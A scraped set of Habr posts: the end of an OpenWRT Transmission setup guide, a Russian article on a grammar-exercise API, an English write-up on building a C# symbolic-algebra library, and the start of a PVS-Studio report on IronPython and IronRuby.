Запускаем и проверяем:
```
/etc/init.d/transmission start
```
Запускаем браузер и вводим [192.168.1.1:9091](http://192.168.1.1:9091) если все работает то на этом все.
Если данная статья кого то заинтересует готов так же рассказать о настройке «файлопомойки», поднятия VPN сервера, настройка IPTV на OpenWRT.
Предвижу мнение многих что на Хабре да и во всем интернете полно подобных инструкций, но все же постарался максимально подробно и просто расписать весь процесс установки и настройки. Так же недавно в OpenWRT немного изменился принцип использование флешки в качестве root раздела, сейчас эта информация уже доступна в вики проекта но только на английском языке.
UPD: В этой статье не описана настройка подключения интернета от Вашего провайдера, так как слишком много нюансов настроек. Без подключения роутера к интернету естественно ничего не выйдет. | https://habr.com/ru/post/191990/ | null | ru | null |
# API индивидуализированного изучения грамматики
Индивидуальное обучение иностранному языку всегда работает лучше, чем обучение по общим программам и по материалам, которые “подходят всем”. Действительно, программисту и флористу интересные разные темы, разные тексты, а значит — разный языковой материал (лексика в первую очередь). И многие сервисы, помогающие изучить иностранный язык, стараются строить обучение именно таким образом. Например, в ЛингуаЛео можно добавлять свои тексты или выбирать из большой библиотеки те, которые наиболее интересны, и изучать язык, точнее — лексику, именно из этих текстов. Easy Ten позволяет выбирать тематические списки слов. Но всё это про лексику. А что же с грамматикой? Можно ли изучение грамматики сделать индивидуальным?
Зачем учить грамматику индивидуально?
-------------------------------------
Действительно — зачем? Грамматика-то везде одинаковая — и в текстах про цветы и в текстах про алгоритмы. Эта одна из причин, из-за которой обучение грамматике сейчас строится достаточно однообразно: обычно предлагается один курс грамматики, состоящий из статических разделов, где даётся определение грамматическому материалу, а потом предлагается сделать несколько упражнений. Весь названный материал не имеет никакой привязки к интересующим ученика темам.
Вторая причина, почему не предлагается индивидуализированное обучение грамматике, заключается в том, что это технически сложнее, чем извлечение слов и подсчёт простых метрик, типа [TFIDF](https://ru.wikipedia.org/wiki/TF-IDF). Для извлечения грамматических конструкций из текста нужен более сложный лексико-грамматический и морфологический анализ текста.
Казалось бы — зачем заниматься тем, что не нужно, да ещё и сложно?
Как грамматика связана с тематикой
----------------------------------
На самом деле изучение грамматики – это не запоминание правил. Грамматика не существует сама по себе вне связи с лексикой. Любое грамматическое правило – абстрактное описание большого количества структурно похожих высказываний, которые выражены как раз при помощи слов. Таким образом получается, что грамматика напрямую связана с лексикой, а значит — и с тематикой того материала, на котором происходит обучение. Поэтому примеры использования грамматических конструкций, упражнения, которые тренируют и закрепляют грамматический материал, могут и должны иметь то лексическое наполнение, которое интересно и полезно изучающему язык.
Как же надо учить грамматику?
-----------------------------
Индивидуализированное обучение грамматике может быть основано на практически любом текстовом материале пользователя. Для каждого предложения определяются грамматические явления и на их основе создаются упражнения.
Таким образом можно, например, к каждому предложению в тексте сделать ссылку на информацию о соответствующем грамматическом явлении, а также создать несколько типов упражнений:
Выбор правильной формы из нескольких предложенных
Например:
> My friend has never **...** to Paris.
>
> 1. *been*
> 2. was
> 3. being
> 4. is
>
>
>
>
Исправление ошибки
Например:
> My friend *have* never been to Paris.
Использование правильной формы слова (поставить данное слово в нужную форму или вписать правильную форму слова)
Например:
> My friend has never **(be)** to Paris.
>
> или
>
> My friend has never **...** to Paris.
Указание грамматической конструкции
Например:
> My friend has never been to Paris.
>
> Present Perfect
Именно эти две задачи решает наш API: в каждом предложении он находит грамматические конструкции и создаёт из найденных предложений упражнения на грамматику.
API
---
Есть открытое API для всех, кто хотел бы попробовать сделать полезный сервис индивидуализированного обучения грамматике английского языка или дополнить свой уже работающий сервис этим функционалом.
Для получения доступа к API нужно зарегистрироваться на сервисе <https://market.mashape.com>. После регистрации перейдите по ссылке <https://market.mashape.com/smallstep/englishgrammar> и подпишитесь на бесплатный API.
На вход принимается текст в виде JSON, посылаемым через POST запрос, например:
```
{
"text": "John lives in London. He loves cats."
}
```
В документации на странице API вы найдёте примеры кода для многих языков программирования: Java, Node, PHP, Python, Objective-C, Ruby, .NET.
В ответ получаете JSON такого содержания:
```
{
"grammarPatterns": [
{
"sentenceText": "John lives in London.",
"grammarPatterns": [
{
"name": "present_simple_construction",
"words": [
{
"word": "lives",
"startOffset": 5,
"endOffset": 10
}
],
"dependencies": [
"present_simple_usage"
],
"difficulty": 1,
"fullName": "Настоящее простое время (Present Simple Tense)"
}
]
},
{
"sentenceText": "He loves cats.",
"grammarPatterns": [
{
"name": "present_simple_construction",
"words": [
{
"word": "loves",
"startOffset": 3,
"endOffset": 8
}
],
"dependencies": [
"present_simple_usage"
],
"difficulty": 1,
"fullName": "Настоящее простое время (Present Simple Tense)"
}
]
}
],
"multipleChoice": [
{
"sentenceText": "John lives in London.",
"multipleChoice": [
{
"startOffset": 5,
"endOffset": 10,
"answers": [
"live",
"living",
"lives",
"lived"
],
"correctIndex": 2
}
]
},
{
"sentenceText": "He loves cats.",
"multipleChoice": [
{
"startOffset": 3,
"endOffset": 8,
"answers": [
"loves",
"love",
"loving",
"loved"
],
"correctIndex": 0
}
]
}
]
}
```
Как видно из примера, текст разбит на предложения и к каждому предложению есть *grammarPatterns* (выявленные грамматические конструкции) и *multipleChoice* (материал для создания упражнений).
В *grammarPatterns* указано системное название грамматической конструкции (*name*), приведены слова, которые образуют данное грамматическое явление, с оффсетами от начала предложения (*words*), *dependencies* (грамматический материал, который помог бы в освоении данного грамматического явления), относительный уровень сложности (*difficulty* — может помочь в оценке грамматической трудности текста), и *fullName* — полное название конструкции на русском языке.
В *multipleChoice* даны оффсеты слова, на которое предлагается упражнение. *Answers* — варианты ответов для multiple choice, и *correctIndex* — индекс правильного ответа (индекс начинается с 0).
В простейшем случае API позволяет создать упражнение на выбор правильной формы, но и другие упражнения сделать совершенно не сложно. Например, для упражнения “исправить ошибку” нужно просто заменить слово в предложении на один из неверных вариантов из поля answers. Для вписывания правильного варианта можно просто удалить слово из исходного предложения (можно также указать название искомой формы из *grammarPatterns*).
Вы можете протестировать наш API на небольшом количестве своих примеров (до 400 символов за один запрос, пожалуйста)), но если есть желание использовать его в каком-то проекте, то лучше связаться лично.
### Анонс
Чуть позже мы планируем открыть API диагностирующего mutiple choice (грамматического и лексического), а также API генерации вопросов к тексту (и вариантов ответов к нему).
**UPDATE**: Спасибо за большой интерес к нашему проекту.))
По техническим причинам мы немного изменили API. Пожалуйста, обратите внимание на пример выше — теперь там два списка, в каждом из которых повторяется текст предложения. | https://habr.com/ru/post/370689/ | null | ru | null |
# Developing a symbolic-expression library with C#. Differentiation, simplification, equation solving and many more
Hello!
[**UPD from 12.06.2021**: if you're looking for a symbolic algebra library, AngouriMath is actively developed. It's on [Github](https://github.com/asc-community/AngouriMath) and has a [website](https://am.angouri.org/). [Discord](https://discord.gg/YWJEX7a) for questions]
Why does programming a calculator seem to be a task, which every beginner undertakes? History might have the answer — computers were created for this exact purpose. Unlike the beginners, we will develop a smart calculator, which, although won't reach the complexity of SymPy, will be able to perform such algebraic operations as differentiation, simplification, and equations solving, will have built-in latex support, and have implemented features such as compilation to speed up the computations.
**What are the articles about?**
It will superficially tell about assembling an expression, parsing from a string, variable substitution, analytic derivative, equation numerical solving, and definite integration, rendering to LaTeX format, complex numbers, compiling functions, simplifying, expanding brackets, and blah blah blah.
*For those who urgently need to clone something, [repository link](https://github.com/Angourisoft/MathS)*.
Let's do it!
**Whom is this article for?**
I think that the article may be useful for a beginner, but maybe those who are a little more experienced will also find something interesting. However, I hope to write an article so that it can be read without being a C# programmer at all.
**To those who have already seen it**
I accidentally published an unfinished article. This version is finished and contains translations of both [first](https://habr.com/ru/post/482228/) and [second](https://habr.com/ru/post/483294/) parts.
Expression assembly
-------------------
**When I was a child...**
...I wanted to write a calculator. What did it have to do? The four basic operations, that was enough. My goal was to calculate the value from a string expression, for example, «1 + (3/4 — (5 + 3 \* 1))». I started my favorite Delphi 7 and wrote a parser, which first recursively processed parentheses, and then replaced the expression in parentheses with the calculated value, and removed the braces. Basically, a quite working way for me at that time.
### What is an expression?
An expression is not a string. It is pretty obvious that a mathematical formula is either a tree or a stack, as it is shown in the example below. Each node of this tree is some kind of an operation, a variable, or a constant.
Each operation is either a function or an operator, which are actually similar to each other. Their children are the arguments of the respective functions/operators.
### Class hierarchy in your code
Of course, the implementation can widely vary. However, the idea is that if your tree only consists of nodes and leaves, then despite their differences from each other, they all are generalized by something. I call these «things» — entities. Therefore, the upper class will be the abstract class Entity.
**Abstract?**
As everyone knows from basic programming courses, an abstract class generalizes some classes on the one hand, and allows you to separate the logic and behavior of some objects on the other. An instance of an abstract class cannot be created, but its child can.
And there will also be four child classes: NumberEntity, VariableEntity, OperatorEntity, FunctionEntity.
### How to build an expression?
We will start with building an in-code expression, i.e.
```
var x = new VariableEntity("x");
var expr = x * x + 3 * x + 12;
```
If you declare an empty class VariableEntity, then such a code will throw an exception, something like «I don't know how to multiply and add.»
##### Overriding Operators
Is a very important and useful feature of most languages, it allows you to customize the execution of arithmetic operations. It is syntactically implemented differently depending on the language. For example, an implementation in C#
```
public static YourClass operator +(YourClass a, YourClass b) {
return new YourClass(a.ToString() + b.ToString());
}
```
[Learn more about overriding statements in C#](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/operator-overloading)
My implementation is [here](https://github.com/Angourisoft/MathS/blob/d7d97c9b727d8904e981ee7277514fe8a90d724d/AngouriMath/Functions/Core/InvokeTableFuncs.cs#L207).
##### (Ex|Im)plicit type casting
In compilable languages like C#, such a thing is usually present and allows you to cast the type if necessary without an additional call of `myvar.ToAnotherType()`. So, for example, it would be more convenient to write
```
NumberEntity myvar = 3;
```
Instead of the usual
```
NumberEntity myvar = new NumberEntity(3);
```
[More on type casting in C#](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/user-defined-conversion-operators)
My implementation [here](https://github.com/Angourisoft/MathS/blob/d7d97c9b727d8904e981ee7277514fe8a90d724d/AngouriMath/Core/Sys/Entity.cs#L64).
##### Hanging
The Entity class has a Children field — this is just a list of instances of Entity, which are the arguments for this entity.
**Thoughts**
In fact, only two classes of the four can have children: OperatorEntity and FunctionEntity. We could have created, say, NodeEntity, inherited these two classes from it, created a LeafEntity, and inherit VariableEntity and NumberEntity from it.
When we call a function or operator, we should create a new entity, and put in it the children from which the function or operator is called. For example, the add operator in theory should look something like this:
```
public static Entity operator +(Entity a, Entity b){
var res = new OperatorEntity("+");
res.Children.Add(a);
res.Children.Add(b);
return res;
}
```
That is, now if we have entity x and entity 3, then x + 3 will return the entity of the sum operator with two children: 3 and x. So, we can build expression trees.
A function call is simpler and not as beautiful as that with an operator:
```
public Entity Sin(Entity a)
{
var res = new FunctionEntity("sin");
res.Children.Add(a);
return res;
}
```
My implementation is [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Core/ExpressionBuild.cs).
Ok, we made up an expression tree.
Variable substitution
---------------------
Everything is extremely simple here. We have Entity — we check whether it is a variable itself; if so, we return the value, otherwise we run through the children.
In [this](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Algebra/Substitution.cs) «huge» 48-line file implements such a complex function.
Value calculation
-----------------
Yeah, the calculator must calculate. Here we are supposed to add some kind of method to Entity
```
public Entity Eval()
{
if (IsLeaf)
{
return this;
}
else
return MathFunctions.InvokeEval(Name, Children);
}
```
The leaf is unchanged, but for everything else we have a custom calculation. Once more, I will only provide an example:
```
public static Entity Eval(List args)
{
MathFunctions.AssertArgs(args.Count, 1);
var r = args[0].Eval();
if (r is NumberEntity)
return new NumberEntity(Number.Sin((r as NumberEntity).Value));
else
return r.Sin();
}
```
If the argument is a number, then we perform a numerical operation, otherwise we will return the arguments as they were.
### Number?
This is the simplest unit, number. Arithmetic operations can be performed on it. By default, it is complex. It also has operations such as Sin, Cos, and some others.
If you are interested in its implementation, Number is described [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Core/Sys/Number.cs).
Derivative
----------
Anyone can calculate the derivative numerically, and such a function is written truly in one line:
```
public double Derivative(Func f, double x) => (f(x + 1.0e-5) - f(x)) \* 1.0e+5;
```
But of course we want an analytical derivative. Since we already have an expression tree, we can recursively replace each node in accordance with the differentiation rule. It should work something like this:
I realized it in the following way:
```
public static Entity Derive(List args, VariableEntity variable) {
MathFunctions.AssertArgs(args.Count, 2);
var a = args[0];
var b = args[1];
return a.Derive(variable) + b.Derive(variable);
}
```
Product:
```
public static Entity Derive(List args, VariableEntity variable)
{
MathFunctions.AssertArgs(args.Count, 2);
var a = args[0];
var b = args[1];
return a.Derive(variable) \* b + b.Derive(variable) \* a;
}
```
And here is a workaround in itself:
```
public Entity Derive(VariableEntity x)
{
if (IsLeaf)
{
if (this is VariableEntity && this.Name == x.Name)
return new NumberEntity(1);
else
return new NumberEntity(0);
}
else
return MathFunctions.InvokeDerive(Name, Children, x);
}
```
This is the Entity method. As we see, the leaf has only two states: either it is a variable by which we differentiate, then its derivative is 1, or it is a constant (number or VariableEntity), then its derivative is 0, or a node, then there is a reference by name (InvokeDerive refers to the dictionary of functions, where the desired one is located (for example, the sum or sine)).
Notice that I do not leave something like dy/dx here but claim that the derivative of the variable **not** by which we differentiate is 0. But [here](https://habr.com/en/post/150043/) it is done differently.
All differentiation is described in a [single file](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Algebra/Derivation.cs).
Simplification of an expression. Patterns
------------------------------------------
Simplification of an expression in the general case is non-trivial. Well, for example, which expression is simpler:  or ? At this point, we stick to some ideas, and basing on them we want to make those rules so they could accurately simplify the expression.
It is possible to write at every Eval that if we have the sum node, and its children are product nodes, then we will sort out four options, and if something is equal something else, we will take out the factor… But of course I do not want to do that. Therefore, we will use a system of rules and patterns. So what do we want? Something like this syntax:
```
{ any1 / (any2 / any3) -> any1 * any3 / any2 },
{ const1 * var1 + const2 * var1 -> (const1 + const2) * var1 },
{ any1 + any1 * any2 -> any1 * (Num(1) + any2) },
```
Here is an example of a tree in which a subtree was found (circled in green) that matches the pattern any1 + const1 \* any1 (any1 found is circled in orange).
As you can see, sometimes it is important for us that one and the same entity must be repeated, for example, to reduce the expression , we need  to be both factor of the first and second monomial, because  is no longer reduceable. Therefore, we need to make an algorithm that not only checks that the tree matches the pattern, but also
1. Verify that the same Entity patterns match the same Entity.
2. Gathers list of entites matching each pattern entity
The entry point looks something like this:
```
internal Dictionary EqFits(Entity tree)
{
var res = new Dictionary();
if (!tree.PatternMakeMatch(this, res))
return null;
else
return res;
}
```
In tree.PaternMakeMatch, we recursively add keys and their values to the dictionary. Here is an example of a list of the Entity pattern itself:
```
static readonly Pattern any1 = new Pattern(100, PatType.COMMON);
static readonly Pattern any2 = new Pattern(101, PatType.COMMON);
static readonly Pattern const1 = new Pattern(200, PatType.NUMBER);
static readonly Pattern const2 = new Pattern(201, PatType.NUMBER);
static readonly Pattern func1 = new Pattern(400, PatType.FUNCTION);
```
When we write any1 \* const1 — func1 and so on, each node will have a number — this is the key. In other words, when filling out the dictionary, these numbers will appear as keys: 100, 101, 200, 201, 400… And when building a tree, we will look at the value corresponding to the key and substitute it.
Implemented [here](https://github.com/Angourisoft/MathS/tree/master/AngouriMath/Functions/Evaluation/Patterns).
Simplification. Tree Sort
--------------------------
In the [article](https://habr.com/en/post/150043/), to which I have already referred, the author decided to make it simple, and sorted it practically by the hash of the tree. He managed to reduce  and ,  to turn . But we, of course, also want  to be reduced, and in general more complicated things.
##### Will the patterns not work for that?
In general, patterns, that we used before, are a monstrously wonderful thing. It will allow you to reduce expressions like , and Pythagorean trigonometric identity, and other complex things. But the elementary palm, , it will not reduce, because the main rule here is the commutativity of the terms. Therefore, the first step is to extract the «linear children.»
##### Linear children
Actually for each node of the sum or difference (and, by the way, the product/division), we want to get a list of terms (factors).
This is basically straightforward. Let the LinearChildren(Entity node) function return a list, then we look at a child in node.Children: if child is not a sum, then result.Add (child), otherwise — result.AddRange (LinearChildren (child)).
Implemented not in the best way [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Core/TreeAnalysis/LinearChildren.cs).
##### Grouping children
So we have a list of children, but what's next? Suppose we have . Obviously, our algorithm will receive five terms. Next, we want to group by similarity, for example,  looks like  more than .
Here is a good grouping:
Since the patterns in it will cope further with the conversion of  to .
That is, we first group by some *hash*, and then do MultiHang — converting n-ary summation to binary.
##### Node Hash
On the one hand,  and  should be placed in one group. On the other hand, in the presence of , placing in the same group with  is pointless.
**Thoughts**
If you think about it, then . Although it seems to me, this is practically not easier, and certainly not necessary. Anyway, simplification is never an obvious thing, and this is certainly not the first thing to write when writing a “calculator”.
Therefore, we implement multi-level sorting. First, we pretend that  and  to be the same. Then we pretend that  can be placed only with other ,  etc. Finally,  is only compatible with . And now our  and  finally merged. Implemented quite simply:
```
internal string Hash(SortLevel level)
{
if (this is FunctionEntity)
return this.Name + "_" + string.Join("_", from child in Children select child.Hash(level));
else if (this is NumberEntity)
return level == SortLevel.HIGH_LEVEL ? "" : this.Name + " ";
else if (this is VariableEntity)
return "v_" + Name;
else
return (level == SortLevel.LOW_LEVEL ? this.Name + "_" : "") + string.Join("_", from child in Children where child.Hash(level) != "" select child.Hash(level));
}
```
As you can see, the function entity affects sorting in any way (of course, because  with  is cannot be somehow reduced). Likewise, we cannot reduce  with . But the constants and operators are taken into account at some levels (but not all). That is how it is performed
```
public Entity Simplify(int level)
{
// First, we make the easiest simplification: calculating values where possible, multiplying by zero, etc.
var stage1 = this.InnerSimplify();
Entity res = stage1;
for (int i = 0; i < level; i++)
{
// This block is responsible for sorting. First we group something like x and x + 1 (variables and functions), then something like x-1 and x + 1 (variables, functions and constants), then something like x + 1 and x + 1 (everything is taken into account).
switch (i)
{
case 0: res = res.Sort(SortLevel.HIGH_LEVEL); break;
case 2: res = res.Sort(SortLevel.MIDDLE_LEVEL); break;
case 4: res = res.Sort(SortLevel.LOW_LEVEL); break;
}
// Here we replace the patterns.
res = TreeAnalyzer.Replace(Patterns.CommonRules, res).InnerSimplify();
}
return res;
}
```
**Thoughts**
Is this the best implementation? I have been thinking for a long time how to make it maximally beautiful, although in my opinion, it is far from «beautiful» here.
I sort the tree [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Core/TreeAnalysis/Sort.cs).
«Compilation» of functions
--------------------------
In quotation marks — since it is not in the IL code itself, but only in a very fast set of instructions. But it is very simple.
##### Substitution Problem
To calculate the value of a function, we just need to call the variable substitution and eval, for example
```
var x = MathS.Var("x");
var expr = x * x + 3;
var result = expr.Substitute(x, 5).Eval();
```
But it works slowly, about 1.5 microseconds per sine.
##### Instructions
To speed up the calculation, we do a function calculation on the stack, namely:
1) We come up with the FastExpression class, which will have a list of instructions
2) When compiling, the instructions are stacked in the reverse order, that is, if there is a function , then the instructions will be something like this:
```
PUSHVAR 0 // Variable Substitution Number 0 - x
CALL 6 // Call function №6 - sine
PUSHCONST 3
CALL 0 // Call function №0 - sum
PUSHVAR 0
PUSHVAR 0
CALL 2
CALL 0
```
Next, when invoked, we run these instructions and return a Number.
An example of executing a sum statement:
```
internal static void Sumf(Stack stack)
{
Number n1 = stack.Pop();
Number n2 = stack.Pop();
stack.Push(n1 + n2);
}
```
The sine call time was reduced from 1500ns to 60ns (system Complex.Sin takes 30ns).
It is implemented [here](https://github.com/Angourisoft/MathS/tree/master/AngouriMath/Functions/Evaluation/Compilation).
##### Cache
There is still «room for improvement.» Let some function be
According to benchmarks, its performance (time/iteration) (i7-7700hq) is the following:
| Method | Time (nanoseconds) |
| --- | --- |
| Substitute | 6800 |
| Our compiled function | **650** |
| The same function written directly in code | 430 |
**What?**
Substitute — the classic way of calculating the value of an expression, i.e. for example
```
var x = MathS.Var("x");
var expr = x + 3 * x;
Console.WriteLine(expr.Substitute(x, 5).Eval());
>>> 20
```
Our compiled function is when we do the same, but after compiling it
```
var x = MathS.Var("x");
var expr = x + 3 * x;
var func = expr.Compile(x);
Console.WriteLine(func.Substitute(5));
```
A function written directly in code is when we do
```
static Complex MyFunc(Complex x)
=> x + 3 * x;
```
As we can see, this function has repeating parts, for example, , and it would be nice to cache them.
To do this, we introduce two more instructions PULLCACHE and TOCACHE. The first one will push onto the stack the number in the cache at the address that we pass to it. The second will *copy* (`stack.Peek()`) the last number from the stack to the cache, also at a specific address.
It remains to make a table into which during compilation we will write functions for caching. What we will not cache? Well, firstly, what happens once. The extra instruction to access the cache is not good. Secondly, operations that are too simple also make no sense to cache, such as accessing a variable or number.
When interpreting the list of instructions, we will have a pre-created array for caching. Now the instructions for this function look like
```
PUSHCONST (2, 0)
PUSHVAR 0
CALL powf
TOCACHE 0 #at this point we compute n^2, and since we need it more than once, we cache it.
CALL sinf
TOCACHE 1 #we will also need sin(n^2)
PULLCACHE 0 #when we encounter mention of a cached function, we pull the apporpriate element.
PULLCACHE 0
CALL cosf
PULLCACHE 1
CALL sumf
CALL sumf
CALL sumf
```
Finally, we get a clearly better result:
| Method | Time (nanoseconds) |
| --- | --- |
| Substitute | 6800 |
| Our compiled functions | **330** (previous result: 650) |
| The same function written directly in code | 430 |
Compilation and interpretation of instructed are located [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Evaluation/Compilation/FastExpression.cs).
LaTeX
-----
This is a well-known format for mathematical formulas (although not only them!), which is rendered into a more human-readable format. It is also used on Habr, and all the formulas that I write are just written in this format.
Having an expression tree makes rendering in latex very simple. How to do this in terms of logic? So, we have the top of the tree. If it is a number or a variable, then everything is simple. If this vertex, for example, is a division operator, we want  instead of  ( and  are the children of the vertex), so for division we write something like
```
public static class Div
{
internal static string Latex(List args)
=> @"\frac{" + args[0].Latexise() + "}{" + args[1].Latexise() + "}";
}
```
Everything is very simple, as we see. The only problem I encountered during the implementation is that it is not clear how to place braces. If we just wrap each operator with braces, we will get such nonsense:
In contrast, if you completely remove them, then given an expression of the form , we will print
It is resolved simply, we enter the priorities of the operators like
```
args[0].Latexise(args[0].Priority < Const.PRIOR_MUL) + "*" + args[1].Latexise(args[1].Priority < Const.PRIOR_MUL);
```
Latexisation is [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Output/Latex.cs). By the way, word «latexise» does not exist, I invented it myself.
Solving Equations
-----------------
Actually, from the point of view of mathematics, you cannot write an algorithm that finds all the solutions of some equation. Therefore, we want to find as many different roots as possible, realizing the unattainability of the final goal. There are two components: a numerical solution (everything is as simple as possible) and analytical (that is the thing).
### Numerical solution. Newton's Method
It is extremely simple, given the function  we will search for the root using the iterative formula
Since roots might be also located in a complex plane, we can basically write a two-dimensional loop that will look for solutions and then return unique ones. In this case, we can now find the derivative of the function analytically, and then compile both functions  and .
Newton's method is located [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Algebra/NewtonSolver.cs).
### Analytical Solution
First thoughts are pretty obvious. Clearly, the roots of equation  are equal to the set of roots  and , similarly for division:
```
internal static void Solve(Entity expr, VariableEntity x, EntitySet dst)
{
if (expr is OperatorEntity)
{
switch (expr.Name)
{
case "mul":
Solve(expr.Children[0], x, dst);
Solve(expr.Children[1], x, dst);
return;
case "div":
Solve(expr.Children[0], x, dst);
return;
}
}
...
```
For sine, this will be realized a little different:
```
case "sinf":
Solve(expr.Children[0] + "n" * MathS.pi, x, dst);
return;
```
After all, we want to find all the roots, and not just those that are 0.
After we have made sure that the current expression is not a product, and not other easily simplified operators and functions, we need to try to find a template for solving the equation.
The first idea is to use the patterns we made to simplify the expression. And in fact, we will need approximately this, but first we need to do a variable replacement. And indeed, to the equation
there is no pattern, but to the pair
there is a pattern of a quadratic expression and arcsin.
Therefore, we are to develop a function «GetMinimumSubtree», which would return the most efficient variable replacement. What is an effective replacement? This is such a replacement in which we
1. Maximize the use of this replacement
2. Maximize the depth of the tree (so that in the equation  we have the replacement )
3. We make sure that with this substitution we replaced **all** the mentions of the variable, for example, if in the equation  we make the replacement , then we will not be able to solve it. Therefore, in this equation, the best replacement for  is  (that is, there is no good replacement), but for example in  we can safely do the replacement .
After replacing the equation looks a lot simpler.
#### Polynomial
So, the first thing we do is `expr.Expand()` — open all the brackets to get rid of the muck of the form , turning it into . Now, after the disclosure, we get something like
Not canonical? Then we first collect information about each monomial by applying “linear children” and expanding all the terms.
What do we have about the monomial? A monomial is a product of factors, one of which is a variable, or an operator of the degree of a variable and an integer. Therefore, we will introduce two variables, one will have a degree, and the other a coefficient. Next, we simply go through the factors, and each time we are convinced that either  is there to an integer degree, or without a degree at all. If we encounter something unexpected — we return with null.
**Feh**
If we suddenly come across some ,  and other things that mention , but do not fit the monomial pattern is bad.
Okay, we have compiled a dictionary in which the key is a degree (of a polynomial) (integer) and the value is a monomial coefficient. This is what it looks like for the previous example:
```
0 => c
1 => 1
2 => 3
3 => 1 - a
```
That is how solving of the quadratic equation is implemented
```
if (powers[powers.Count - 1] == 2)
{
var a = GetMonomialByPower(2);
var b = GetMonomialByPower(1);
var c = GetMonomialByPower(0);
var D = MathS.Sqr(b) - 4 * a * c;
res.Add((-b - MathS.Sqrt(D)) / (2 * a));
res.Add((-b + MathS.Sqrt(D)) / (2 * a));
return res;
}
```
This thing has not yet been completed, but in general this is [here](https://github.com/Angourisoft/MathS/blob/master/AngouriMath/Functions/Algebra/AnalyticalSolver/PolynomialSolver%20.cs).
#### Reverse replacement
So, here we have made some kind of replacement like , and now we want to find  from there. Here we just have a step-by-step deployment of functions and operators, such as
The code snippet looks something like this:
```
switch (func.Name)
{
case "sinf":
// sin(x) = value => x = arcsin(value)
return FindInvertExpression(a, MathS.Arcsin(value), x);
case "cosf":
// cos(x) = value => x = arccos(value)
return FindInvertExpression(a, MathS.Arccos(value), x);
case "tanf":
// tan(x) = value => x = arctan(value)
return FindInvertExpression(a, MathS.Arctan(value), x);
...
```
The code for these functions is [here](https://github.com/asc-community/MathS/blob/master/AngouriMath/Functions/Algebra/Solver/Analytical/AnalyticalSolver.cs).
Everything, the final solving algorithm of the equations (yet!) Looks something like this
1. If we know the zero of the function or operator, send Solve there (for example, if , then run Solve(a) and Solve(b))
2. Find a replacement
3. Solve as a polynomial, if possible
4. For all solutions, deploy a replacement to get the final solution
5. If, as a polynomial, it did not resolve **and** we have only one variable, we solve it by Newton’s method
That's it for now. Because this article is the translation of the two in Russian ([first](https://habr.com/ru/post/482228/) and [second](https://habr.com/ru/post/483294/) parts), it only contains features realized up to the moment of 9-th January. However, we implemented tons of new features and have something to tell. Soon, there will be the third part.
There are also a couple of examples of how the project works:
```
var x = MathS.Var("x");
var y = MathS.Var("y");
var c = x * y + x / y;
Console.WriteLine(MathS.Sqr(c));
>>> (x * y + x / y) ^ 2
```
```
var x = MathS.Var("x");
var expr = x * 2 + MathS.Sin(x) / MathS.Sin(MathS.Pow(2, x));
var subs = expr.Substitute(x, 0.3);
Console.WriteLine(subs.Eval());
>>> 0,9134260185941638
```
```
var x = MathS.Var("x");
var func = MathS.Sqr(x) + MathS.Ln(MathS.Cos(x) + 3) + 4 * x;
var derivative = func.Derive(x);
Console.WriteLine(derivative.Eval());
>>> 2 * x + -1 * sin(x) / (cos(x) + 3) + 4
```
```
var x = MathS.Var("x");
var a = MathS.Var("a");
var b = MathS.Var("b");
var expr = MathS.Sqrt(x) / x + a * b + b * a + (b - x) * (x + b) +
MathS.Arcsin(x + a) + MathS.Arccos(a + x);
Console.WriteLine(expr.Simplify());
>>> 1.5707963267948966 + 2 * a * b + b ^ 2 + x ^ (-0.5) - x ^ 2
```
```
var x = MathS.Var("x");
var y = MathS.Var("y");
var expr = x.Pow(y) + MathS.Sqrt(x + y / 4) * (6 / x);
Console.WriteLine(expr.Latexise());
>>> {x}^{y}+\sqrt{x+\frac{y}{4}}*\frac{6}{x}
```
```
var x = MathS.Var("x");
var expr = MathS.Sin(x) + MathS.Sqrt(x) / (MathS.Sqrt(x) + MathS.Cos(x)) + MathS.Pow(x, 3);
var func = expr.Compile(x);
Console.WriteLine(func.Substitute(3));
>>> 29.4752368584034
```
```
Entity expr = "(sin(x)2 - sin(x) + a)(b - x)((-3) * x + 2 + 3 * x ^ 2 + (x + (-3)) * x ^ 3)";
foreach (var root in expr.Solve("x"))
Console.WriteLine(root);
>>> arcsin((1 - sqrt(1 + (-4) * a)) / 2)
>>> arcsin((1 + sqrt(1 + (-4) * a)) / 2)
>>> b
>>> 1
>>> 2
>>> i
>>> -i
```
Thanks for your attention! | https://habr.com/ru/post/486496/ | null | en | null |
# Проверяем IronPython и IronRuby с помощью PVS-Studio
Совсем недавно мы выпустили новую версию нашего анализатора PVS-Studio с поддержкой проверки C# проектов. Пока на время релиза дальнейшая разработка продукта была приостановлена, я занимался тестированием анализатора. В качестве проектов для своих экспериментов я взял IronPython и IronRuby. А раз эти проекты были проверены, я решил написать небольшую статью-отчёт.
IronPython и IronRuby
---------------------
IronPython и IronRuby представляют собой реализацию языков программирования Python и Ruby на платформе .NET. Исходный код этих проектов доступен на GitHub по этой [ссылке](https://github.com/IronLanguages/main). Также в комплекте идёт исходный код [DLR](https://en.wikipedia.org/wiki/Dynamic_Language_Runtime). Начиная с .NET Framework 4.0 DLR является его частью, и IronPython и IronRuby используют её. Тем не менее я всё равно проверил старую версию DLR, раз уж она там оказалась.
О проверке проектов
-------------------
Итак, весь код состоит из трёх больших частей: DLR, IronPython и IronRuby и содержит 1630 \*.cs файлов. Для проверки я использовал PVS-Studio 6.00, которую можно скачать с [нашего сайта](http://www.viva64.com/ru/pvs-studio/). Проверка решения заняла чуть больше минуты. В результате анализатор выдал 34 предупреждений первого, 15 предупреждений второго и 280 предупреждений третьего уровня.
На первом уровне из 34 предупреждений 19 оказались настоящими ошибками — довольно хороший результат, 6 мест выглядят подозрительно — на них стоит обратить внимание. Оставшиеся 9 сообщений являются ложными срабатываниями, половину из которых можно устранить правкой самого анализатора, что мы сделаем в ближайшее время.
На втором и третьем уровне ошибок и подозрительных мест нашлось значительно меньше.
Найденные ошибки
----------------
